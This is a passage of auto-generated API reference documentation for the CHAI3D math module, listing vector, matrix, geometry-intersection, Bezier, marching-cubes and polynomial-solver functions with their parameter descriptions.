Implements general math tools. More...
Files | |
| file | CBezier.h |
| Implements support for Bezier curves and surface patches. | |
| file | CConstants.h |
| Implements mathematical constants. | |
| file | CGeometry.h |
| Implements general geometry utility functions. | |
| file | CMarchingCubes.h |
| Implementation of the marching cube algorithm. | |
| file | CMaths.h |
| Implements general math utility functions. | |
| file | CMatrix3d.h |
| Implements a 3D matrix. | |
| file | CPolySolver.h |
| Implements polynomial solvers. | |
| file | CQuaternion.h |
| Implements a quaternion. | |
| file | CTransform.h |
| Implements a transformation matrix. | |
| file | CVector3d.h |
| Implements a 3D vector. | |
Classes | |
| struct | chai3d::cMarchingCubeTriangle |
| struct | chai3d::cMarchingCubeGridCell |
| struct | chai3d::cMatrix3d |
| This class implements a 3D matrix. More... | |
| struct | chai3d::cQuaternion |
| This class implements a quaternion. More... | |
| struct | chai3d::cTransform |
| This class implements a 4D transformation matrix encoded as column-major. More... | |
| struct | chai3d::cVector3d |
| This class implements a 3D vector. More... | |
Functions | |
| cVector3d | chai3d::cEvalBezierCurve (const cVector3d *a_controlPoints, double a_t) |
| This function determines the position of a point along a Bezier curve. More... | |
| cVector3d | chai3d::cEvalBezierPatch (const cVector3d *a_controlPoints, double a_u, double a_v) |
| This function determines the position of a point along a Bezier patch. More... | |
| cVector3d | chai3d::cDerivBezier (const cVector3d *a_controlPoints, double a_t) |
| This function determines the derivative of a point along a Bezier curve. More... | |
| cVector3d | chai3d::cDerivUBezier (const cVector3d *a_controlPoints, double a_u, double a_v) |
| This function determines the derivative of a point on a Bezier patch along the u parametric direction. More... | |
| cVector3d | chai3d::cDerivVBezier (const cVector3d *a_controlPoints, double a_u, double a_v) |
| This function determines the derivative of a point on a Bezier patch along the v parametric direction. More... | |
| cVector3d | chai3d::cSurfaceNormalBezier (const cVector3d *a_controlPoints, double a_u, double a_v) |
| This function determines the surface normal at a point on a Bezier patch. More... | |
| double | chai3d::cTriangleArea (const cVector3d &a_vertex0, const cVector3d &a_vertex1, const cVector3d &a_vertex2) |
| This function computes the area of a triangle. More... | |
| cVector3d | chai3d::cProjectPointOnPlane (const cVector3d &a_point, const cVector3d &a_planePoint, const cVector3d &a_planeNormal) |
| This function computes the projection of a point onto a plane. More... | |
| cVector3d | chai3d::cProjectPointOnPlane (const cVector3d &a_point, const cVector3d &a_planePoint0, const cVector3d &a_planePoint1, const cVector3d &a_planePoint2) |
| This function computes the projection of a point onto a plane. More... | |
| void | chai3d::cProjectPointOnPlane (const cVector3d &a_point, const cVector3d &a_planePoint0, const cVector3d &a_planePoint1, const cVector3d &a_planePoint2, double &a_r01, double &a_r02) |
| This function computes the projection of a point onto a plane. More... | |
| cVector3d | chai3d::cProjectPointOnLine (const cVector3d &a_point, const cVector3d &a_pointOnLine, const cVector3d &a_directionOfLine) |
| This function computes the projection of a point onto a line. More... | |
| cVector3d | chai3d::cProjectPointOnSegment (const cVector3d &a_point, const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB) |
| This function computes the projection of a point onto a segment. More... | |
| cVector3d | chai3d::cProjectPointOnDiskXY (const cVector3d &a_point, const double &a_height, const double &a_radius) |
| This function computes the projection of a point onto a disk. More... | |
| cVector3d | chai3d::cProjectPointOnTriangle (const cVector3d &a_point, const cVector3d &a_vertex0, const cVector3d &a_vertex1, const cVector3d &a_vertex2) |
| This function computes the projection of a point onto a triangle. More... | |
| cVector3d | chai3d::cProject (const cVector3d &a_vector0, const cVector3d &a_vector1) |
| This function computes the projection of a vector V0 onto a vector V1. More... | |
| double | chai3d::cDistanceToLine (const cVector3d &a_point, const cVector3d &a_linePoint1, const cVector3d &a_linePoint2) |
| This function computes the distance between a point and a line. More... | |
| cVector3d | chai3d::cComputeSurfaceNormal (const cVector3d &a_surfacePoint0, const cVector3d &a_surfacePoint1, const cVector3d &a_surfacePoint2) |
| This function computes the surface normal of a plane. More... | |
| bool | chai3d::cBoxContains (const cVector3d &a_point, const cVector3d &a_boxMin, const cVector3d &a_boxMax) |
| This function checks if a point is contained in a box. More... | |
| int | chai3d::cIntersectionSegmentPlane (const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB, const cVector3d &a_planePos, const cVector3d &a_planeNormal, cVector3d &a_collisionPoint, cVector3d &a_collisionNormal) |
| This function computes the intersection between a segment and a plane. More... | |
| int | chai3d::cIntersectionSegmentDisk (const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB, const cVector3d &a_diskPos, const cVector3d &a_diskNormal, const double &a_diskRadius, cVector3d &a_collisionPoint, cVector3d &a_collisionNormal) |
| This function computes the intersection between a segment and a disk. More... | |
| int | chai3d::cIntersectionSegmentSphere (const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB, const cVector3d &a_spherePos, const double &a_sphereRadius, cVector3d &a_collisionPoint0, cVector3d &a_collisionNormal0, cVector3d &a_collisionPoint1, cVector3d &a_collisionNormal1) |
| This function computes the intersection between a segment and a sphere. More... | |
| int | chai3d::cIntersectionSegmentEllipsoid (const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB, const cVector3d &a_pos, const double &a_radiusX, const double &a_radiusY, const double &a_radiusZ, cVector3d &a_collisionPoint0, cVector3d &a_collisionNormal0, cVector3d &a_collisionPoint1, cVector3d &a_collisionNormal1) |
| This function computes the intersection between a segment and a sphere. More... | |
| int | chai3d::cIntersectionSegmentToplessCylinder (const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB, const cVector3d &a_cylinderPointA, const cVector3d &a_cylinderPointB, const double &a_cylinderRadius, cVector3d &a_collisionPoint0, cVector3d &a_collisionNormal0, double &a_collisionPointRelPosAB0, cVector3d &a_collisionPoint1, cVector3d &a_collisionNormal1, double &a_collisionPointRelPosAB1) |
| This function computes the intersection between a segment and a topless cylinder. More... | |
| int | chai3d::cIntersectionSegmentCylinder (const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB, const double &a_baseRadius, const double &a_topRadius, const double &a_height, cVector3d &a_collisionPoint, cVector3d &a_collisionNormal) |
| This function computes the nearest intersection point between a segment and a cylinder. More... | |
| int | chai3d::cIntersectionSegmentBox (const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB, const cVector3d &a_boxMin, const cVector3d &a_boxMax, cVector3d &a_collisionPoint, cVector3d &a_collisionNormal) |
| This function computes the nearest intersection point between a segment and a box. More... | |
| int | chai3d::cIntersectionSegmentTorus (const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB, const double &a_innerRadius, const double &a_outerRadius, cVector3d &a_collisionPoint, cVector3d &a_collisionNormal) |
| This function computes the nearest intersection point between a segment and a torus. More... | |
| bool | chai3d::cIntersectionSegmentTriangle (const cVector3d &a_segmentPointA, const cVector3d &a_segmentPointB, const cVector3d &a_triangleVertex0, const cVector3d &a_triangleVertex1, const cVector3d &a_triangleVertex2, const bool a_reportFrontSideCollision, const bool a_reportBackSideCollision, cVector3d &a_collisionPoint, cVector3d &a_collisionNormal, double &a_collisionPosVertex01, double &a_collisionPosVertex02) |
| This function computes the intersection between a segment and a triangle. More... | |
| cVector3d | chai3d::cVertexInterpolation (double a_isolevel, cVector3d a_p1, cVector3d a_p2, double a_valp1, double a_valp2) |
| This function linearly interpolate the position where an isosurface cuts an edge between two vertices, each with their own scalar value. More... | |
| int | chai3d::cPolygonize (cMarchingCubeGridCell a_grid, double a_isolevel, cMarchingCubeTriangle *a_triangles) |
| This function calculates the triangular facets required to represent the isosurface through the cell. More... | |
| bool | chai3d::cCheckBit (const unsigned int &a_value, const unsigned int &a_bitPosition) |
| This function checks if a given bit is enabled. More... | |
| unsigned int | chai3d::cSetBit (const unsigned int &a_data, const unsigned int &a_bitPosition, const bool a_value) |
| This function sets the value of a specified bit of an unsigned integer. More... | |
| bool | chai3d::cZero (const double &a_value) |
| This function checks if a value is equal to or almost near zero. More... | |
| template<class T > | |
| T | chai3d::cAbs (const T &a_value) |
| This function computes an absolute value. More... | |
| template<class T > | |
| double | chai3d::cSign (const T &a_value) |
| This function computes the sign of a value. More... | |
| template<class T > | |
| T | chai3d::cMax (const T &a_value1, const T &a_value2) |
| This function computes the maximum value between two values. More... | |
| template<class T > | |
| T | chai3d::cMin (const T &a_value1, const T &a_value2) |
| This function computes the minimum value between two values. More... | |
| template<class T > | |
| T | chai3d::cMax3 (const T &a_value1, const T &a_value2, const T &a_value3) |
| This function computes the maximum value between three values. More... | |
| template<class T > | |
| T | chai3d::cMin3 (const T &a_value1, const T &a_value2, const T &a_value3) |
| This function computes the minimum value between three values. More... | |
| template<class T > | |
| void | chai3d::cSwap (T &a_value1, T &a_value2) |
| This function swaps two elements. More... | |
| template<class T > | |
| T | chai3d::cLerp (const double &a_level, const T &a_value1, const T &a_value2) |
| This function computes a linear interpolation between two values. More... | |
| template<class T > | |
| T | chai3d::cClamp (const T &a_value, const T &a_low, const T &a_high) |
| This function clamps a value to a specified range. More... | |
| template<class T > | |
| T | chai3d::cClamp0 (const T &a_value) |
| This function clamps a value to a value ranged between 0 and infinity. More... | |
| double | chai3d::cClamp01 (const double &a_value) |
| This function clamps a value to a value ranged between 0.0 and 1.0. More... | |
| template<class T , class V > | |
| bool | chai3d::cContains (const T &a_value, const V &a_low, const V &a_high) |
| This function checks whether a value is within a specified range. More... | |
| double | chai3d::cSqr (const double &a_value) |
| This function computes the square of a scalar. More... | |
| double | chai3d::cSqrt (const double &a_value) |
| This function computes the square root of a scalar. More... | |
| double | chai3d::cCbrt (const double &a_value) |
| This function computes the cubic root of a scalar. More... | |
| double | chai3d::cCosDeg (const double &a_angleDeg) |
| Compute the cosine of an angle defined in degrees. More... | |
| double | chai3d::cSinDeg (const double &a_angleDeg) |
| This function computes the sine of an angle defined in degrees. More... | |
| double | chai3d::cTanDeg (const double &a_angleDeg) |
| This function computes the tangent of an angle defined in degrees. More... | |
| double | chai3d::cCosRad (const double &a_angleRad) |
| This function computes the cosine of an angle defined in radians. More... | |
| double | chai3d::cSinRad (const double &a_angleRad) |
| This function computes the sine of an angle defined in radians. More... | |
| double | chai3d::cTanRad (const double &a_angleRad) |
| This function computes the tangent of an angle defined in radians. More... | |
| double | chai3d::cDegToRad (const double &a_angleDeg) |
| This function converts an angle from degrees to radians. More... | |
| double | chai3d::cRadToDeg (const double &a_angleRad) |
| This function converts an angle from radians to degrees. More... | |
| int | chai3d::cNumDigits (int a_value) |
| This function computes the number of digits that compose a given integer. More... | |
| cVector3d | chai3d::cAdd (const cVector3d &a_vector1, const cVector3d &a_vector2) |
| This function computes the addition of two vectors. More... | |
| cVector3d | chai3d::cAdd (const cVector3d &a_vector1, const cVector3d &a_vector2, const cVector3d &a_vector3) |
| This function computes the addition of three vectors. More... | |
| cVector3d | chai3d::cSub (const cVector3d &a_vector1, const cVector3d &a_vector2) |
| This function computes the subtraction of two vectors. More... | |
| cVector3d | chai3d::cNegate (const cVector3d &a_vector) |
| This function computes the negated vector. More... | |
| cVector3d | chai3d::cMul (const double &a_value, const cVector3d &a_vector) |
| This function computes the multiplication of a vector by a scalar. More... | |
| cVector3d | chai3d::cDiv (const double &a_value, const cVector3d &a_vector) |
| This function computes the division of a vector by a scalar. More... | |
| cVector3d | chai3d::cCross (const cVector3d &a_vector1, const cVector3d &a_vector2) |
| This function computes the cross product between two vectors. More... | |
| double | chai3d::cDot (const cVector3d &a_vector1, const cVector3d &a_vector2) |
| This function computes the dot product between two vectors. More... | |
| cVector3d | chai3d::cNormalize (const cVector3d &a_vector) |
| This function computes the normalized vector. More... | |
| double | chai3d::cDistance (const cVector3d &a_point1, const cVector3d &a_point2) |
| This function computes the Euclidean distance between two points. More... | |
| double | chai3d::cDistanceSq (const cVector3d &a_point1, const cVector3d &a_point2) |
| This function computes the squared distance between two points. More... | |
| bool | chai3d::cEqualPoints (const cVector3d &a_point1, const cVector3d &a_point2, const double a_epsilon=C_SMALL) |
| This function determines whether two vectors are equal (i.e. represent the same point). More... | |
| cMatrix3d | chai3d::cIdentity3d (void) |
| This function return a 3x3 identity matrix. More... | |
| cMatrix3d | chai3d::cAdd (const cMatrix3d &a_matrix1, const cMatrix3d &a_matrix2) |
| This function computes the addition between two matrices. More... | |
| cMatrix3d | chai3d::cSub (const cMatrix3d &a_matrix1, const cMatrix3d &a_matrix2) |
| This function computes the subtraction between two matrices. More... | |
| cMatrix3d | chai3d::cRotEulerRad (const double &a_angleRad1, const double &a_angleRad2, const double &a_angleRad3, const cEulerOrder a_eulerOrder, const bool a_useIntrinsicEulerModel=true) |
| This function builds a rotation matrix from a set of Euler angles defined in radians. More... | |
| cMatrix3d | chai3d::cRotEulerDeg (const double &a_angleDeg1, const double &a_angleDeg2, const double &a_angleDeg3, const cEulerOrder a_eulerOrder, const bool a_useIntrinsicEulerModel=true) |
| This function builds a rotation matrix from a set of Euler angles defined in degrees. More... | |
| cMatrix3d | chai3d::cRotAxisAngleRad (const double &a_axisX, const double &a_axisY, const double &a_axisZ, const double &a_angleRad) |
| This function builds a rotation matrix from an axis-angle representation. More... | |
| cMatrix3d | chai3d::cRotAxisAngleDeg (const double &a_axisX, const double &a_axisY, const double &a_axisZ, const double &a_angleDeg) |
| This function builds a rotation matrix from an axis-angle representation. More... | |
| cMatrix3d | chai3d::cMul (const cMatrix3d &a_matrix1, const cMatrix3d &a_matrix2) |
| This function computes the multiplication of two matrices. More... | |
| cVector3d | chai3d::cMul (const cMatrix3d &a_matrix, const cVector3d &a_vector) |
| This function computes the multiplication of a matrix and a vector. More... | |
| cMatrix3d | chai3d::cTranspose (const cMatrix3d &a_matrix) |
| This function computes the transpose of a matrix. More... | |
| cMatrix3d | chai3d::cInverse (const cMatrix3d &a_matrix) |
| This function computes the inverse of a matrix. More... | |
| double | chai3d::cAngle (const cVector3d &a_vector1, const cVector3d &a_vector2) |
| This function computes the angle in radians between two vectors. More... | |
| double | chai3d::cCosAngle (const cVector3d &a_vector1, const cVector3d &a_vector2) |
| This function computes the cosine of the angle between two vectors. More... | |
| int | chai3d::cSolveLinear (double a_coefficient[2], double a_solution[1]) |
| This function computes the solution of a linear equation. More... | |
| int | chai3d::cSolveQuadric (double a_coefficient[3], double a_solution[2]) |
| This function computes the solution of a quadric equation. More... | |
| int | chai3d::cSolveCubic (double a_coefficient[4], double a_solution[3]) |
| This function computes the solution of a cubic equation. More... | |
| int | chai3d::cSolveQuartic (double a_coefficient[5], double a_solution[4]) |
| This function computes the solution of a quartic equation. More... | |
|
inline |
This function determines the position of a point along a Bezier curve at t [0:1].
| a_controlPoints | Control points. (4 in total) |
| a_t | Parameter t between 0 and 1. |
|
inline |
This function determines the position of a point along a Bezier patch at u [0:1] and v [0:1].
| a_controlPoints | Control points. (16 in total) |
| a_u | Parameter u between 0 and 1. |
| a_v | Parameter v between 0 and 1. |
|
inline |
This function determines the derivative of a point along a Bezier curve at t [0:1].
| a_controlPoints | Control points. (4 in total) |
| a_t | Parameter t between 0 and 1. |
|
inline |
This function determines the derivative of a point on a Bezier patch along the u parametric direction.
| a_controlPoints | Control points. (16 in total) |
| a_u | Parameter u between 0 and 1. |
| a_v | Parameter v between 0 and 1. |
|
inline |
This function determines the derivative of a point on a Bezier patch along the v parametric direction.
| a_controlPoints | Control points. (16 in total) |
| a_u | Parameter u between 0 and 1. |
| a_v | Parameter v between 0 and 1. |
|
inline |
This function determines the surface normal at a point on a Bezier patch at u [0:1] and v [0:1].
| a_controlPoints | Control points. (16 in total) |
| a_u | Parameter u between 0 and 1. |
| a_v | Parameter v between 0 and 1. |
|
inline |
This function computes the area of a triangle described by the position of its three vertices a_vertex0
, a_vertex1
, and a_vertex2
.
| a_vertex0 | Vertex 0 of triangle. |
| a_vertex1 | Vertex 1 of triangle. |
| a_vertex2 | Vertex 2 of triangle. |
|
inline |
This function computes the projection of a point a_point
onto a plane. The plane is expressed by a point a_planePoint
and a surface normal a_planeNormal
.
| a_point | Point to be projected on the plane. |
| a_planePoint | Point on the plane. |
| a_planeNormal | Surface normal of the plane. |
|
inline |
This function computes the projection of a point onto a plane. The plane is expressed by a set of three points passed by argument.
| a_point | Point to be projected onto the plane. |
| a_planePoint0 | Point 0 of plane. |
| a_planePoint1 | Point 1 of plane. |
| a_planePoint2 | Point 2 of plane. |
|
inline |
This function computes the projection of a point a_point
onto a plane described by three points a_planePoint0
, a_planePoint1
, and a_planePoint2
.
The function returns two parameters a_r01
and a_r01
which describe the position of the projected point onto the plane.
where:
| a_point | Point to be projected onto plane. |
| a_planePoint0 | Point 0 of plane. |
| a_planePoint1 | Point 1 of plane. |
| a_planePoint2 | Point 2 of plane. |
| a_r01 | Returned relative position factor v01. |
| a_r02 | Returned relative position factor v02. |
|
inline |
This function computes the projection of a point a_point
on a line. The line is expressed by a point a_pointOnLine
located on the line and a direction vector a_directionOfLine
.
| a_point | Point to be projected onto the line. |
| a_pointOnLine | Point located on the line. |
| a_directionOfLine | Direction vector of the line. |
|
inline |
This function computes the projection of a point a_point
onto a segment. The segment is described by its two extremity points a_segmentPointA
and a_segmentPointB
.
| a_point | Point to be projected. |
| a_segmentPointA | Point A of segment. |
| a_segmentPointB | Point B of segment. |
|
inline |
This function computes the projection of a point onto a disk lying in the XY plane.
The position of the disk along the z-axis is expressed by parameter a_height
.
The radius of the disk is expressed by parameter a_radius
.
| a_point | Point to be projected. |
| a_height | Position of the disk along the z-axis. |
| a_radius | Radius of the disk. |
|
inline |
This function computes the projection of a point onto a triangle expressed by its three vertices.
| a_point | Point to be projected. |
| a_vertex0 | Triangle vertex 0. |
| a_vertex1 | Triangle vertex 1. |
| a_vertex2 | Triangle vertex 2. |
This function computes the projection of a vector V0 onto a vector V1, where V0 and V1 are passed by argument as a_vector0
and a_vector1
.
| a_vector0 | Vector V0. |
| a_vector1 | Vector V1. |
|
inline |
This function computes the distance between a point and a line. The line is described by two points a_linePoint1
and a_linePoint2
located along the line.
| a_point | Point to be tested. |
| a_linePoint1 | Point 1 on line. |
| a_linePoint2 | Point 2 on line. |
|
inline |
This function computes the surface normal of a plane defined by three points passed by argument.
| a_surfacePoint0 | Point 0 on surface. |
| a_surfacePoint1 | Point 1 on surface. |
| a_surfacePoint2 | Point 2 on surface. |
|
inline |
This function check if a point is contained in a box. The box is described by its minimum and maximum corners a_boxMin
and a_boxMax
.
If the point is located inside the box, then then function returns true, otherwise it returns false.
| a_point | Test point. |
| a_boxMin | Minimum coordinate of the box. |
| a_boxMax | Maximum coordinate of the box. |
|
inline |
This function computes the intersection between a segment and a plane.
The segment is described by two points a_segmentPointA
and a_segmentPointB
.
The plane is described by a point a_planePos
and a surface normal a_planeNormal
.
The function returns the number of collision points that were detected (0 or 1).
If a collision occurs, the collision point and collision normal are returned by arguments a_collisionPoint
and a_collisionNormal
.
| a_segmentPointA | First point of segment AB. |
| a_segmentPointB | Second point of segment AB. |
| a_planePos | Position of a point on the plane. |
| a_planeNormal | Surface normal of the plane. |
| a_collisionPoint | Returned intersection point (if detected). |
| a_collisionNormal | Returned surface normal at intersection point (if detected). |
|
inline |
This function computes the intersection between a segment and a disk.
The segment is described by two points a_segmentPointA
and a_segmentPointB
.
The disk is described by a point a_diskPos
, a surface normal a_diskNormal
, and a radius a_diskRadius
.
The function returns the number of collision points that were detected (0 or 1).
If a collision occurs, the collision point and collision normal are returned by arguments a_collisionPoint
and a_collisionNormal
.
| a_segmentPointA | First point of segment AB. |
| a_segmentPointB | Second point of segment AB. |
| a_diskPos | Position of the disk center. |
| a_diskNormal | Surface normal of the disk. |
| a_diskRadius | Radius of the disk. |
| a_collisionPoint | Returned intersection point (if detected). |
| a_collisionNormal | Returned surface normal at intersection point (if detected). |
|
inline |
This function computes the intersection between a segment and a sphere.
The segment is described by two points a_segmentPointA
and a_segmentPointB
.
The sphere is described by its position a_spherePos
and a radius a_sphereRadius
.
The function returns the number of collision points that were detected (0, 1, or 2).
If a collision occurs, the collision point(s) and collision normal(s) are returned by arguments a_collisionPoint0
, a_collisionNormal0
, a_collisionPoint1
, and a_collisionNormal1
.
If two intersection points are detected, collisionPoint0 is the nearest point to segmentPointA of segment AB.
If the segment begins inside the sphere, then all intersections are ignored.
| a_segmentPointA | First point of segment AB. |
| a_segmentPointB | Second point of segment AB. |
| a_spherePos | Position of sphere center. |
| a_sphereRadius | Radius of sphere. |
| a_collisionPoint0 | Returned intersection point 0 (if detected). |
| a_collisionNormal0 | Returned surface normal 0 at intersection point (if detected). |
| a_collisionPoint1 | Returned intersection point 1 (if detected). |
| a_collisionNormal1 | Returned surface normal 1 at intersection point (if detected). |
|
inline |
This function computes the intersection between a segment and a sphere.
The segment is described by two points a_segmentPointA
and a_segmentPointB
.
The sphere is described by its position a_spherePos
and a radius a_sphereRadius
.
The function returns the number of collision points that were detected (0, 1, or 2).
If a collision occurs, the collision point(s) and collision normal(s) are returned by arguments a_collisionPoint0
, a_collisionNormal0
, a_collisionPoint1
, and a_collisionNormal1
.
If two intersection points are detected, collisionPoint0 is the nearest point to segmentPointA of segment AB.
If the segment begins inside the sphere, then all intersections are ignored.
| a_segmentPointA | First point of segment AB. |
| a_segmentPointB | Second point of segment AB. |
| a_pos | Position of ellipsoid center. |
| a_radiusX | Ellipsoid radius along x axis. |
| a_radiusY | Ellipsoid radius along y axis. |
| a_radiusZ | Ellipsoid radius along z axis. |
| a_collisionPoint0 | Returned intersection point 0 (if detected). |
| a_collisionNormal0 | Returned surface normal 0 at intersection point (if detected). |
| a_collisionPoint1 | Returned intersection point 1 (if detected). |
| a_collisionNormal1 | Returned surface normal 1 at intersection point (if detected). |
|
inline |
This function computes the intersection between a segment and a topless cylinder.
The segment is described by two points a_segmentPointA
and a_segmentPointB
.
The cylinder is described by two extremity points a_cylinderPointA
and a_cylinderPointB
, and a radius a_cylinderRadius
.
The function returns the number of collision points that were detected (0, 1, or 2).
If a collision occurs, the collision point(s) and collision normal(s) are returned by arguments a_collisionPoint0
, a_collisionPoint1
,a_collisionNormal0
and a_collisionNormal1
.
If two intersection points occur, collisionPoint0 is the nearest point to segmentPointA of segment AB.
If the segment begins inside the cylinder, then all intersections are ignored.
| a_segmentPointA | First point of segment AB. |
| a_segmentPointB | Second point of segment AB. |
| a_cylinderPointA | Extremity point A of cylinder. |
| a_cylinderPointB | Extremity point B of cylinder. |
| a_cylinderRadius | Radius of cylinder. |
| a_collisionPoint0 | Returned intersection point 0 (if detected). |
| a_collisionNormal0 | Returned surface normal 0 at intersection point (if detected). |
| a_collisionPointRelPosAB0 | Returned relative position of collision point 0 projected on segment a_segmentPointA - a_segmentPointB |
| a_collisionPoint1 | Returned intersection point 1 (if detected). |
| a_collisionNormal1 | Returned surface normal 1 at intersection point (if detected). |
| a_collisionPointRelPosAB1 | Returned relative position of collision point 1 projected on segment a_segmentPointA - a_segmentPointB |
|
inline |
This function computes the nearest intersection point between a segment and a cylinder.
The segment is described by two points a_segmentPointA
and a_segmentPointB
.
The cylinder is aligned along the z-axis and is described by its height a_height
, base radius a_baseRadius
, and a top radius a_topRadius
.
The function returns the number of collision points that were detected (0 or 1).
If a collision occurs, the collision point and collision normal are returned by arguments a_collisionPoint
and a_collisionNormal
.
If the segment begins inside the cylinder, then all intersections are ignored.
| a_segmentPointA | First point of segment AB. |
| a_segmentPointB | Second point of segment AB. |
| a_baseRadius | Radius of cylinder a z = 0.0. |
| a_topRadius | Radius of cylinder a z = a_height. |
| a_height | Height of cylinder. |
| a_collisionPoint | Returned intersection point (if detected). |
| a_collisionNormal | Returned surface normal at intersection point (if detected). |
|
inline |
This function computes the nearest intersection point between a segment and a box.
The segment is described by two points a_segmentPointA
and a_segmentPointB
.
The box is aligned with all axes and is described by its minimum and maximum corners a_boxMin
and a_boxMax
.
The function returns the number of collision points that were detected (0 or 1).
If a collision occurs, the collision point and collision normal are returned by arguments a_collisionPoint
and a_collisionNormal
.
| a_segmentPointA | First point of segment AB. |
| a_segmentPointB | Second point of segment AB. |
| a_boxMin | Minimum coordinate of box. |
| a_boxMax | Maximum coordinate of box. |
| a_collisionPoint | Returned intersection point (if detected). |
| a_collisionNormal | Returned surface normal at intersection point (if detected). |
|
inline |
This function computes the nearest intersection point between a segment and a torus centered around the z-axis.
The segment is described by two points a_segmentPointA
and a_segmentPointB
.
The torus is described by its inner a_innerRadius
and outer radius a_outerRadius
.
The function returns the number of collision points that were detected (0 or 1).
If a collision occurs, the collision point and collision normal are returned by arguments a_collisionPoint
and a_collisionNormal
.
| a_segmentPointA | First point of segment AB. |
| a_segmentPointB | Second point of segment AB. |
| a_innerRadius | Inner radius of torus. |
| a_outerRadius | Outer radius of torus. |
| a_collisionPoint | Returned intersection point (if detected). |
| a_collisionNormal | Returned surface normal at intersection point (if detected). |
|
inline |
This function computes the intersection between a segment and a triangle defined by three vertices a_triangleVertex0
, a_triangleVertex1
, and a_triangleVertex2
.
The segment is described by two points a_segmentPointA
and a_segmentPointB
.
The function returns the number of collision points that were detected (0 or 1).
If a collision occurs, the collision point and collision normal are returned by arguments a_collisionPoint
and a_collisionNormal
.
| a_segmentPointA | First point of segment AB. |
| a_segmentPointB | Second point of segment AB. |
| a_triangleVertex0 | Vertex 0 of triangle. |
| a_triangleVertex1 | Vertex 1 of triangle. |
| a_triangleVertex2 | Vertex 2 of triangle. |
| a_reportFrontSideCollision | If true, then front side collisions are reported. |
| a_reportBackSideCollision | If true, then back side collisions are reported. |
| a_collisionPoint | Returned intersection point (if detected). |
| a_collisionNormal | Returned surface normal at intersection point (if detected). |
| a_collisionPosVertex01 | Returned relative position of collision point projected on segment a_triangleVertex0 -a_triangleVertex1 . |
| a_collisionPosVertex02 | Returned relative position of collision point projected on segment a_triangleVertex0 -a_triangleVertex1 |
|
inline |
This function linearly interpolate the position where an isosurface cuts an edge between two vertices, each with their own scalar value.
| a_isolevel | Iso value. |
| a_p1 | Point 1. |
| a_p2 | Point 2. |
| a_valp1 | Value at point 1. |
| a_valp2 | Value at point 2. |
|
inline |
Given a grid cell and an isolevel, this function calculates the triangular facets required to represent the isosurface through the cell. The function returns the number of triangular facets and at most 5 of them. 0 will be returned if the grid cell is either totally above of totally below the isolevel.
| a_grid | Grid composed of 8 voxels |
| a_isolevel | Isovalue. |
| a_triangles | Returned triangles. |
|
inline |
This function checks if a given bit is enabled. The function takes by argument an unsigned integer a_value
and the position of the bit a_bitPosition
to be tested.
If the selected bit is enabled, the function returns true, otherwise false.
| a_value | Unsigned int value. |
| a_bitPosition | Bit position [0..31]. |
|
inline |
This function sets the value of a specified bit of an unsigned integer.
The function takes by argument an unsigned integer a_value
, the position of the bit to be tested a_bitPosition
, and its new value a_value
as a boolean.
The function returns the modified unsigned integer as a result.
| a_data | Input unsigned integer data. |
| a_bitPosition | Bit position [0..31] |
| a_value | New state of bit (true = 1, false = 0). |
|
inline |
This function checks if a value passed by argument a_value is equal to or almost near zero.
| a_value | Value to be checked. |
|
inline |
This function computes the absolute value of a value a_value
passed by argument.
| a_value | Input value. |
|
inline |
This function computes the sign of a value passed by argument a_value
.
| a_value | Value to be evaluated. |
|
inline |
This function returns the maximum value between two values a_value1
and a_value2
passed by argument.
| a_value1 | First value. |
| a_value2 | Second value. |
a_value1
and a_value2
.
|
inline |
This function returns the minimum value between two values a_value1
and a_value2
passed by argument.
| a_value1 | First value. |
| a_value2 | Second value. |
a_value1
and a_value2
.
|
inline |
This function returns the maximum value between three values a_value1
, a_value2
, and a_value3
passed by argument.
| a_value1 | First value. |
| a_value2 | Second value. |
| a_value3 | Third value. |
a_value1
, a_value2
, and a_value3
.
|
inline |
This function returns the minimum value between three values a_value1
, a_value2
, and a_value3
passed by argument.
| a_value1 | First value. |
| a_value2 | Second value. |
| a_value3 | Third value. |
a_value1
, a_value2
, and a_value3
.
|
inline |
This function swaps two elements a_value1
and a_value2
passed by argument.
| a_value1 | First value. |
| a_value2 | Second value. |
|
inline |
This function computes a linear interpolation between values a_value1
(when a_level
= 0.0) and a_value2
(when a_level
= 1.0).
| a_level | Interpolation factor ranging from 0.0 to 1.0. |
| a_value1 | First value. |
| a_value2 | Second value. |
|
inline |
This function clamps an input value a_value
to a specified range.
The range is specified by a lower bound a_low
and upper bound a_high
.
| a_value | Value to be clamped. |
| a_low | Lower boundary value. |
| a_high | Upper boundary value. |
|
inline |
This function clamps an input value a_value
to a value ranged between 0 and infinity.
| a_value | Value to be clamped. |
|
inline |
This function clamps an input value a_value
to a value ranged between 0.0 and 1.0.
| a_value | Value to be clamped. |
|
inline |
This function checks whether a value a_value
is within a range specified by arguments a_low
and a_high
.
| a_value | Value to be tested. |
| a_low | Lower boundary value. |
| a_high | Upper boundary value. |
|
inline |
This function computes the square of a scalar a_value
passed by argument.
| a_value | Input value. |
a_value
.
|
inline |
This function computes the square root of a scalar a_value
passed by argument.
| a_value | Input value. |
a_value
.
|
inline |
This function computes the cubic root of a scalar a_value
passed by argument.
| a_value | Input value. |
|
inline |
This function computes the cosine of an angle defined in degrees.
The angle a_angleDeg
is passed by argument.
| a_angleDeg | Angle in degrees. |
a_angleDeg
.
|
inline |
This function computes the sine of an angle defined in degrees.
The angle a_angleDeg
is passed by argument.
| a_angleDeg | Angle in degrees. |
a_angleDeg
.
|
inline |
This function computes the tangent of an angle defined in degrees.
The angle a_angleDeg
is passed by argument.
| a_angleDeg | Angle in degrees. |
a_angleDeg
.
|
inline |
This function computes the cosine of an angle defined in radians.
The angle a_angleRad
is passed by argument.
| a_angleRad | Angle in radians. |
a_angleRad
.
|
inline |
This function computes the sine of an angle defined in radians.
The angle a_angleRad
is passed by argument.
| a_angleRad | Angle in radians. |
a_angleRad
.
|
inline |
This function computes the tangent of an angle defined in radians.
The angle a_angleRad
is passed by argument.
| a_angleRad | Angle in radians. |
a_angleRad
.
|
inline |
This function converts an angle a_angleDeg
expressed in degrees to an angle expressed in radians.
| a_angleDeg | Angle in degrees. |
|
inline |
This function converts an angle a_angleRad
